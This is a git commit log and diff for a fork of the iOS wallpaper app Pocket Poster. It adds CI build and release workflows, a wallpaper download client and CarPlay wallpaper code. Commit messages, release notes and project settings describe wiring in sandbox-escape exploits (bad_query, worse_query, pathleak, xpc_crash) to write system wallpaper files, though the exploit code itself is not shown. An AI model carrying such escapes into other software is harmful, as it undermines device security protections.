46 Commits
Author SHA1 Message Date
admin 4c7d968d49 Pocket Poster 3.3.0: worse_query port for iOS 26-27.2
Release IPA / Build and release IPA (push) Canceled after 0s
Build IPA / Build unsigned IPA (push) Canceled after 0s
- Replace bad_query with forcequitOS/worse_query (App Group based)
- Read the App Group from the code signature entitlements
- Add pathleak container enumeration and iOS 27 system container lookup
- Route descriptor/CarPlay writes through worse_query
- Add sign_personal.sh and POCKET_POSTER_SELFTEST diagnostics
- Keep bad_query as an iOS 26 fallback
2026-11-10 15:51:27 +08:00
Mak5er 2472fdc48b Update README.md 2026-08-11 20:53:10 +03:00
Mak5er b01dca5c43 Fix release workflow: use gh CLI to publish IPA
Replace softprops action with gh release create/upload so tags
auto-publish Pocket_Poster.ipa on GitHub Releases.
2026-08-11 05:30:57 +03:00
Mak5er dd3b90d629 Add CI: auto-build IPA and GitHub Releases
- Shared Xcode scheme for headless xcodebuild
- build.yml: build unsigned IPA on push/PR, upload artifact
- release.yml: on v* tags (or manual dispatch), publish Release with IPA
2026-08-11 05:28:06 +03:00
Mak5er 18a67ec171 Add bad_query support for iOS 26–27.0b4
Integrate forcequitOS/bad_query for sandbox-escaped PosterBoard
writes, on-device container UUID detection (no PC/Nugget required),
descriptor wipe for Reset Collections, and Mond-style WebKit
respring that works under LiveContainer.

Rebrand fork to com.mak5er.Pocket-Poster; credit Mak5er.
2026-08-11 05:21:59 +03:00
leminlimez fb07aa4558 Merge pull request #53 from SerStars/altsource
Add AltSource & README layout change
2026-02-14 15:26:25 -05:00
leminlimez 4a8e723569 Merge pull request #29 from squairdev/main
fix: tendies not applying with space in name
2026-02-14 15:26:10 -05:00
SerStars 2112e59d46 fancy 2026-01-30 17:49:40 +01:00
SerStars 4324cb79db Credit myself :P 2025-12-04 01:52:22 +01:00
SerStars 5aacc36822 Update README.md
"redesign"?
2025-12-04 01:48:59 +01:00
Squair. c4e17c9609 fix: tendies not applying with space in name 2025-09-29 21:26:57 -04:00
leminlimez 2bea79eb60 Merge pull request #16 from leminlimez/explore-page
Explore page + CarPlay
2025-08-29 17:33:06 -04:00
leminlimez e288b1f2e7 fix update api 2025-08-29 17:29:48 -04:00
leminlimez 454c63d2ca update translations 2025-08-29 17:26:19 -04:00
leminlimez fb8bd7f26e fix rotation of generated video 2025-08-22 16:36:44 -04:00
leminlimez dd902d2c30 disable carplay on ios 26db4+ and make CarPlayManager 2025-08-12 14:45:49 -04:00
leminlimez d35636c0be change explore page fit to fill 2025-07-19 10:22:01 -04:00
leminlimez 7434897eac dont show carplay menu on ipads 2025-07-19 09:02:08 -04:00
leminlimez 395cbe5e13 fix gif caching 2025-07-19 08:58:08 -04:00
leminlimez 71b1d0a21d cached async giffy 2025-07-18 16:45:34 -04:00
leminlimez 22a74d5fb8 fix confirmation popup not appearing 2025-07-18 14:48:43 -04:00
leminlimez ad280b1a6b gif previews + handle apple wallpapers 2025-07-15 15:13:28 -04:00
leminlimez 4d6b093ffd custom explore page + api 2025-07-15 15:00:42 -04:00
leminlimez 5a94ea73d9 DEBUG: explore link changing 2025-07-15 11:30:47 -04:00
leminlimez 9687a8f19d Merge branch 'main' into carplay 2025-07-14 15:58:16 -04:00
leminlimez 41c215776e update th and tr languages 2025-07-14 15:22:16 -04:00
leminlimez 3892e75556 update + add languages
New:
- Bulgarian
- French (LU)
- Italian
- Chinese (simplified)
2025-07-13 14:50:47 -04:00
leminlimez 99eba91bad fall back to the tutorial menu on ios 17 2025-07-13 14:43:11 -04:00
leminlimez dfee862746 change the name of the files 2025-07-12 11:49:37 -04:00
leminlimez faaef84376 handle carplay and pb hashes separately 2025-07-12 11:38:09 -04:00
leminlimez 94f78c9f4e checking for pocket poster update 2025-07-12 11:29:46 -04:00
leminlimez e932b82515 loading and error handling 2025-07-11 11:15:52 -04:00
leminlimez edde7ddb0c explore page
still needs fixed for no wifi and freezing
2025-07-06 19:02:03 -04:00
leminlimez cdd5cbe634 Merge branch 'main' into carplay 2025-07-06 18:13:42 -04:00
leminlimez c04b863efa dont do container number 59 on ios 16 2025-06-23 15:51:39 -04:00
leminlimez d5833dfb81 save changed images 2025-06-23 14:25:54 -04:00
leminlimez 7c2a031463 Merge branch 'main' into carplay 2025-06-23 14:13:49 -04:00
leminlimez 4062d084db ios 16 poterboard probably 2025-06-22 17:18:38 -04:00
leminlimez 918af3baa3 get wallpapers in order 2025-06-22 15:59:01 -04:00
leminlimez 2f99384650 Merge branch 'video' into carplay 2025-06-22 14:18:47 -04:00
leminlimez 6e95f9336a add ios 17 + ios 26 support for carplay cache 2025-06-22 10:29:25 -04:00
leminlimez aac867c83a Merge branch 'video' into carplay 2025-06-21 16:45:40 -04:00
leminlimez f9ba2dee0d improve carplay apply button ui 2025-06-21 14:04:45 -04:00
leminlimez 759597dfb2 Merge branch 'video' into carplay 2025-06-21 13:47:17 -04:00
leminlimez f305e4b2c6 active wallpapers tracking 2025-06-19 04:39:31 -04:00
leminlimez 069d5cf1c3 specific carplay ui 2025-06-19 04:23:26 -04:00
69 changed files with 7210 additions and 267 deletions

No files matched your search

+61
View File
@@ -0,0 +1,61 @@
name: Build IPA
on:
push:
branches: [main]
pull_request:
branches: [main]
workflow_dispatch:
concurrency:
group: build-${{ github.ref }}
cancel-in-progress: true
jobs:
build:
name: Build unsigned IPA
runs-on: macos-15
timeout-minutes: 45
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Select Xcode
run: |
# Prefer newest installed Xcode
ls /Applications | grep -i Xcode || true
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
xcodebuild -version
xcodebuild -showsdks | grep iphoneos || true
- name: Resolve packages
run: |
xcodebuild -project "Pocket Poster.xcodeproj" \
-scheme "Pocket Poster" \
-resolvePackageDependencies
- name: Build IPA
run: |
chmod +x ./ipabuild.sh
./ipabuild.sh
- name: Prepare artifact
run: |
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' \
"build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist" 2>/dev/null \
|| grep -m1 'MARKETING_VERSION' "Pocket Poster.xcodeproj/project.pbxproj" | sed 's/[^0-9.]//g')
echo "VERSION=$VERSION" >> "$GITHUB_ENV"
test -f "build/Pocket_Poster.ipa" || cp "build/Pocket Poster.ipa" "build/Pocket_Poster.ipa"
cp "build/Pocket_Poster.ipa" "build/Pocket_Poster_${VERSION}.ipa"
ls -lh build/*.ipa
- name: Upload IPA (artifact)
uses: actions/upload-artifact@v4
with:
name: Pocket_Poster-${{ env.VERSION }}
path: |
build/Pocket_Poster.ipa
build/Pocket_Poster_*.ipa
if-no-files-found: error
retention-days: 30
+119
View File
@@ -0,0 +1,119 @@
name: Release IPA
on:
push:
tags:
- "v*"
workflow_dispatch:
inputs:
tag:
description: "Optional tag override (e.g. v3.2.2)"
required: false
type: string
default: ""
permissions:
contents: write
jobs:
release:
name: Build and release IPA
runs-on: macos-15
timeout-minutes: 60
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Select Xcode
run: |
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
xcodebuild -version
- name: Resolve Swift packages
run: |
xcodebuild -project "Pocket Poster.xcodeproj" \
-scheme "Pocket Poster" \
-resolvePackageDependencies
- name: Build IPA
run: |
chmod +x ./ipabuild.sh
./ipabuild.sh
- name: Package release assets
id: meta
run: |
set -euo pipefail
APP_PLIST="build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist"
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' "$APP_PLIST")
BUILD=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleVersion' "$APP_PLIST")
BUNDLE_ID=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleIdentifier' "$APP_PLIST")
if [ "${{ github.event_name }}" = "workflow_dispatch" ] && [ -n "${{ inputs.tag }}" ]; then
TAG="${{ inputs.tag }}"
elif [ "${GITHUB_REF_TYPE}" = "tag" ]; then
TAG="${GITHUB_REF_NAME}"
else
TAG="v${VERSION}"
fi
test -f build/Pocket_Poster.ipa || cp "build/Pocket Poster.ipa" build/Pocket_Poster.ipa
cp build/Pocket_Poster.ipa "build/Pocket_Poster_${VERSION}.ipa"
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
echo "build=${BUILD}" >> "$GITHUB_OUTPUT"
echo "bundle_id=${BUNDLE_ID}" >> "$GITHUB_OUTPUT"
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
{
echo "## Pocket Poster ${VERSION}"
echo ""
echo "bad_query fork for **iOS 26 – 27.0b4**"
echo ""
echo "- On-device PosterBoard hash (no PC / Nugget)"
echo "- Apply wallpapers via sandbox escape"
echo "- Reset Collections (descriptor wipe)"
echo "- Mond-style WebKit respring (works in LiveContainer)"
echo ""
echo "**Bundle ID:** \`${BUNDLE_ID}\`"
echo "**Build:** ${BUILD}"
echo ""
echo "Sideload with TrollStore / SideStore / LiveContainer."
echo ""
echo "---"
echo "Credits: forcequitOS/bad_query · original leminlimez/Pocket-Poster"
} > release_notes.md
ls -lh build/*.ipa
echo "Publishing tag=${TAG} version=${VERSION}"
- name: Create GitHub Release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
TAG="${{ steps.meta.outputs.tag }}"
VERSION="${{ steps.meta.outputs.version }}"
# Create tag on current commit if dispatch without existing tag
if ! git rev-parse "$TAG" >/dev/null 2>&1; then
git tag "$TAG"
git push origin "$TAG" || true
fi
if gh release view "$TAG" >/dev/null 2>&1; then
gh release upload "$TAG" \
build/Pocket_Poster.ipa \
"build/Pocket_Poster_${VERSION}.ipa" \
--clobber
gh release edit "$TAG" \
--title "Pocket Poster ${VERSION}" \
--notes-file release_notes.md
else
gh release create "$TAG" \
build/Pocket_Poster.ipa \
"build/Pocket_Poster_${VERSION}.ipa" \
--title "Pocket Poster ${VERSION}" \
--notes-file release_notes.md
fi
+4 -1
View File
@@ -1 +1,4 @@
/build
/build/
.DS_Store
xcuserdata/
*.xcuserstate
+69 -8
View File
@@ -8,15 +8,34 @@
/* Begin PBXBuildFile section */
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */ = {isa = PBXBuildFile; productRef = 6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */; };
6F09BA332E00808300CDE89C /* Dynamic in Frameworks */ = {isa = PBXBuildFile; productRef = 6F09BA322E00808300CDE89C /* Dynamic */; };
6FB105552E26D3EC00185A5C /* CachedAsyncImage in Frameworks */ = {isa = PBXBuildFile; productRef = 6FB105542E26D3EC00185A5C /* CachedAsyncImage */; };
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; };
/* End PBXFileReference section */
/* Begin PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */ = {
isa = PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet;
buildPhase = 6F09B7992DEB694B00CDE89C /* Sources */;
membershipExceptions = (
Exploit/bad_query.h,
"Exploit/Pocket-Poster-Bridging-Header.h",
Exploit/pathleak.h,
Exploit/worse_query.h,
"Exploit/xpc_crash.h",
);
};
/* End PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
/* Begin PBXFileSystemSynchronizedRootGroup section */
6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = {
isa = PBXFileSystemSynchronizedRootGroup;
exceptions = (
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */,
);
explicitFolders = (
Resources/VideoCAML,
);
@@ -30,6 +49,8 @@
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
6FB105552E26D3EC00185A5C /* CachedAsyncImage in Frameworks */,
6F09BA332E00808300CDE89C /* Dynamic in Frameworks */,
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
@@ -74,6 +95,8 @@
name = "Pocket Poster";
packageProductDependencies = (
6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */,
6F09BA322E00808300CDE89C /* Dynamic */,
6FB105542E26D3EC00185A5C /* CachedAsyncImage */,
);
productName = "Pocket Poster";
productReference = 6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */;
@@ -105,6 +128,8 @@
minimizedProjectReferenceProxies = 1;
packageReferences = (
6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */,
6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */,
6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */,
);
preferredProjectObjectVersion = 77;
productRefGroup = 6F09B79E2DEB694B00CDE89C /* Products */;
@@ -264,11 +289,15 @@
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 0;
CURRENT_PROJECT_VERSION = 4;
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
DEVELOPMENT_TEAM = 2P4CP47H76;
ENABLE_PREVIEWS = YES;
GENERATE_INFOPLIST_FILE = YES;
HEADER_SEARCH_PATHS = (
"$(inherited)",
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
);
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
@@ -276,15 +305,16 @@
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
IPHONEOS_DEPLOYMENT_TARGET = 17.0;
IPHONEOS_DEPLOYMENT_TARGET = 16.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 2.0.1;
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
MARKETING_VERSION = 3.3.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
@@ -296,11 +326,15 @@
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 0;
CURRENT_PROJECT_VERSION = 4;
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
DEVELOPMENT_TEAM = 2P4CP47H76;
ENABLE_PREVIEWS = YES;
GENERATE_INFOPLIST_FILE = YES;
HEADER_SEARCH_PATHS = (
"$(inherited)",
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
);
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
@@ -308,15 +342,16 @@
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
IPHONEOS_DEPLOYMENT_TARGET = 17.0;
IPHONEOS_DEPLOYMENT_TARGET = 16.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 2.0.1;
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
MARKETING_VERSION = 3.3.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2";
};
@@ -354,6 +389,22 @@
minimumVersion = 0.9.19;
};
};
6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/mhdhejazi/Dynamic";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 1.2.0;
};
};
6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/lorenzofiamingo/swiftui-cached-async-image";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 2.1.1;
};
};
/* End XCRemoteSwiftPackageReference section */
/* Begin XCSwiftPackageProductDependency section */
@@ -362,6 +413,16 @@
package = 6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */;
productName = ZIPFoundation;
};
6F09BA322E00808300CDE89C /* Dynamic */ = {
isa = XCSwiftPackageProductDependency;
package = 6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */;
productName = Dynamic;
};
6FB105542E26D3EC00185A5C /* CachedAsyncImage */ = {
isa = XCSwiftPackageProductDependency;
package = 6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */;
productName = CachedAsyncImage;
};
/* End XCSwiftPackageProductDependency section */
};
rootObject = 6F09B7952DEB694B00CDE89C /* Project object */;
@@ -1,6 +1,24 @@
{
"originHash" : "d0d4edfdf2bf3cd05b3ba2dec0af1a9c271c93f944cbba8677cc647f74a6b323",
"originHash" : "7f2d604f1affb7dc07ec1898cef3c0eaf130e2b55b5c441f445ab59c3285c1bb",
"pins" : [
{
"identity" : "dynamic",
"kind" : "remoteSourceControl",
"location" : "https://github.com/mhdhejazi/Dynamic",
"state" : {
"revision" : "ab9a2570862d54aed2663691bb767f881226a12f",
"version" : "1.2.0"
}
},
{
"identity" : "swiftui-cached-async-image",
"kind" : "remoteSourceControl",
"location" : "https://github.com/lorenzofiamingo/swiftui-cached-async-image",
"state" : {
"revision" : "467a3d17479887943ab917a379e62bbaff60ac8a",
"version" : "2.1.1"
}
},
{
"identity" : "zipfoundation",
"kind" : "remoteSourceControl",
@@ -0,0 +1,77 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1620"
version = "1.7">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
BuildableName = "Pocket Poster.app"
BlueprintName = "Pocket Poster"
ReferencedContainer = "container:Pocket Poster.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES"
shouldAutocreateTestPlan = "YES">
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
BuildableName = "Pocket Poster.app"
BlueprintName = "Pocket Poster"
ReferencedContainer = "container:Pocket Poster.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
BuildableName = "Pocket Poster.app"
BlueprintName = "Pocket Poster"
ReferencedContainer = "container:Pocket Poster.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>
@@ -7,7 +7,7 @@
<key>Pocket Poster.xcscheme_^#shared#^_</key>
<dict>
<key>orderHint</key>
<integer>1</integer>
<integer>0</integer>
</dict>
</dict>
</dict>
+79
View File
@@ -0,0 +1,79 @@
//
// CowabungaAPI.swift
// Pocket Poster
//
// Created by lemin on 7/15/25.
//
import UIKit
enum FilterType: String, CaseIterable {
case random = "Random"
case newest = "Newest"
case oldest = "Oldest"
}
class CowabungaAPI: ObservableObject {
static let shared = CowabungaAPI()
var serverURL = ""
var session = URLSession.shared
func fetchWallpapers(type: DownloadableWallpaper.WallpaperType) async throws -> [DownloadableWallpaper] {
let request = URLRequest(url: .init(string: serverURL + "wallpapers-\(type.rawValue).json")!)
let (data, response) = try await session.data(for: request) as! (Data, HTTPURLResponse)
guard response.statusCode == 200 else { throw APIError.connectionFailed }
let wallpapers = try JSONDecoder().decode([DownloadableWallpaper].self, from: data)
for i in wallpapers.indices {
wallpapers[i].type = type
}
return wallpapers
}
func filterWallpapers(wallpapers: [DownloadableWallpaper], filterType: FilterType) -> [DownloadableWallpaper] {
var filtered = wallpapers
if filterType == FilterType.newest {
filtered = filtered.reversed()
} else if filterType == FilterType.random {
filtered = filtered.shuffled()
}
return filtered
}
func getCommitHash() async throws -> String {
let request = URLRequest(url: .init(string: serverURL + "https://api.github.com/repos/SerStars/nugget-wallpapers/commits/main")!)
let (data, response) = try await session.data(for: request) as! (Data, HTTPURLResponse)
guard response.statusCode == 200 else { throw APIError.connectionFailed }
guard let repoinfo = try JSONSerialization.jsonObject(with: data, options: []) as? [String: Any] else { throw APIError.repoHashError }
guard let hash = repoinfo["sha"] as? String else { throw APIError.repoHashError }
return hash
}
func getDownloadURLForWallpaper(wallpaper: DownloadableWallpaper) -> URL {
if wallpaper.url.hasPrefix("https://") {
URL(string: wallpaper.url)!
} else {
URL(string: serverURL + wallpaper.url)!
}
}
func getPreviewURLForWallpaper(wallpaper: DownloadableWallpaper) -> URL {
URL(string: serverURL + wallpaper.preview)!
}
init() {
Task {
do {
let hash = try await getCommitHash()
serverURL = "https://raw.githubusercontent.com/SerStars/nugget-wallpapers/\(hash)/"
} catch {
await UIApplication.shared.alert(body: error.localizedDescription)
}
}
}
}
@@ -0,0 +1,31 @@
//
// DownloadableWallpaper.swift
// Pocket Poster
//
// Created by lemin on 7/15/25.
//
class DownloadableWallpaper: Identifiable, Codable {
var name: String
var description: String?
var url: String
var preview: String
var authors: String?
var type: WallpaperType?
init(name: String, description: String?, authors: String?, preview: String, url: String, version: String) {
self.name = name
self.description = description
self.authors = authors
self.preview = preview
self.url = url
}
enum WallpaperType: String, Codable {
case custom, apple, template
}
func previewIsGif() -> Bool {
return preview.hasSuffix(".gif")
}
}
@@ -0,0 +1,21 @@
{
"images" : [
{
"idiom" : "universal",
"scale" : "1x"
},
{
"filename" : "Mak5er@2x.png",
"idiom" : "universal",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

@@ -0,0 +1,28 @@
//
// CPBitmapHandler.swift
// Pocket Poster
//
// Created by lemin on 6/16/25.
//
import UIKit
import Dynamic
class CPBitmapHandler {
static func resizeAndSave(image: UIImage, to url: URL, size: CGSize) throws {
UIGraphicsBeginImageContextWithOptions(size, false, 0.0)
image.draw(in: CGRect(origin: CGPoint.zero, size: size))
let resizedImage = UIGraphicsGetImageFromCurrentImageContext()!
UIGraphicsEndImageContext()
try? FileManager.default.removeItem(at: url)
resizedImage.writeToCPBitmapFile(to: url.path() as NSString)
}
}
extension UIImage {
func writeToCPBitmapFile(to path: NSString) {
Dynamic(self).writeToCPBitmapFile(path, flags: 1)
}
}
@@ -0,0 +1,168 @@
//
// CarPlayWallpaper.swift
// Pocket Poster
//
// Created by lemin on 6/22/25.
//
import SwiftUI
struct CarPlayWallpaper: Identifiable {
var id = UUID()
var name: String
var lightImage: UIImage
var darkImage: UIImage
var selectedImageDataLight: Data?
var selectedImageDataDark: Data?
}
extension CarPlayWallpaper: Reorderable {
typealias OrderElement = String
var orderElement: OrderElement { name }
}
class CarPlayManager {
static func supportsCarPlay() -> Bool {
if UIDevice.current.userInterfaceIdiom != .phone {
// CarPlay is not on iPads
return false
}
if #available(iOS 19, *) {
// get the build number
var osVersionString = [CChar](repeating: 0, count: 16)
var osVersionStringLen = size_t(osVersionString.count - 1)
let result = sysctlbyname("kern.osversion", &osVersionString, &osVersionStringLen, nil, 0)
if result == 0 {
// Convert C array to String
if let build = String(validatingUTF8: osVersionString) {
// check build number for iOS 26 dev beta 1-3, return true if user is on that
if build == "23A5260n" // dev beta 1
|| build == "23A5260u" // dev beta 1 (iPhone 15/16 series)
|| build == "23A5276f" // dev beta 2
|| build == "23A5287g" { // dev beta 3
return true
}
} else {
print("Failed to convert build number to String")
}
} else {
print("sysctlbyname failed with error: \(String(cString: strerror(errno)))")
}
return false
}
return true
}
static func getCarPlayCacheVersion() -> String {
// they started adding numbers to the end in iOS 18, this is to compensate for that
if #available(iOS 19.0, *) {
return "-12"
} else if #available(iOS 18.0, *) {
return "-11"
}
return ""
}
static func getCarPlayWallpaperNames() -> [String]? {
dlopen("/System/Library/PrivateFrameworks/CarPlayUIServices.framework/CarPlayUIServices", RTLD_GLOBAL)
if #available(iOS 18.0, *) {
// iOS 18 method (it got moved)
guard let obj = objc_getClass("CRSUISystemWallpaper") as? NSObject else { print("no class"); return nil }
if let success = obj.perform(Selector(("wallpapers"))), let arr = success.takeUnretainedValue() as? [NSObject] {
var namesList: [String] = []
for wp in arr {
if let wpACName = wp.perform(Selector(("wallpaperAssetCatalogName"))), let result = wpACName.takeUnretainedValue() as? String {
namesList.append(result)
}
}
return namesList
}
} else {
// iOS 17-
guard let obj = objc_getClass("CRSUIWallpaperPreferences") as? NSObject else { print("no class"); return nil }
if let success = obj.perform(Selector(("availableWallpapers"))), let arr = success.takeUnretainedValue() as? [NSObject] {
var namesList: [String] = []
for wp in arr {
if let wpACName = wp.perform(Selector(("wallpaperAssetCatalogName"))), let result = wpACName.takeUnretainedValue() as? String {
namesList.append(result)
}
}
return namesList
}
}
return nil
}
static func getCarPlayPhotosURL() -> URL {
let cppURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CarPlayPhotos", conformingTo: .directory)
// create it if it doesn't exist
if !FileManager.default.fileExists(atPath: cppURL.path()) {
try? FileManager.default.createDirectory(at: cppURL, withIntermediateDirectories: true)
}
return cppURL
}
static func applyCarPlay(appHash: String, wallpapers: [CarPlayWallpaper]) throws {
// write the image
var toRemove: [URL] = []
var activeWP: [String] = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
let cppURL = getCarPlayPhotosURL()
let cacheVer = getCarPlayCacheVersion()
for wallpaper in wallpapers {
if let data = wallpaper.selectedImageDataLight, let img = UIImage(data: data) {
let imgURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CAR\(wallpaper.name)Dynamic-Light\(cacheVer).cpbitmap")
img.writeToCPBitmapFile(to: imgURL.path() as NSString)
try? data.write(to: cppURL.appendingPathComponent("\(wallpaper.name)-Light"))
toRemove.append(imgURL)
if !activeWP.contains(wallpaper.name) {
activeWP.append(wallpaper.name)
}
}
if let data = wallpaper.selectedImageDataDark, let img = UIImage(data: data) {
let imgURL = SymHandler.getDocumentsDirectory().appendingPathComponent("CAR\(wallpaper.name)Dynamic-Dark\(cacheVer).cpbitmap")
img.writeToCPBitmapFile(to: imgURL.path() as NSString)
try? data.write(to: cppURL.appendingPathComponent("\(wallpaper.name)-Dark"))
toRemove.append(imgURL)
if !activeWP.contains(wallpaper.name) {
activeWP.append(wallpaper.name)
}
}
}
defer {
SymHandler.cleanup()
}
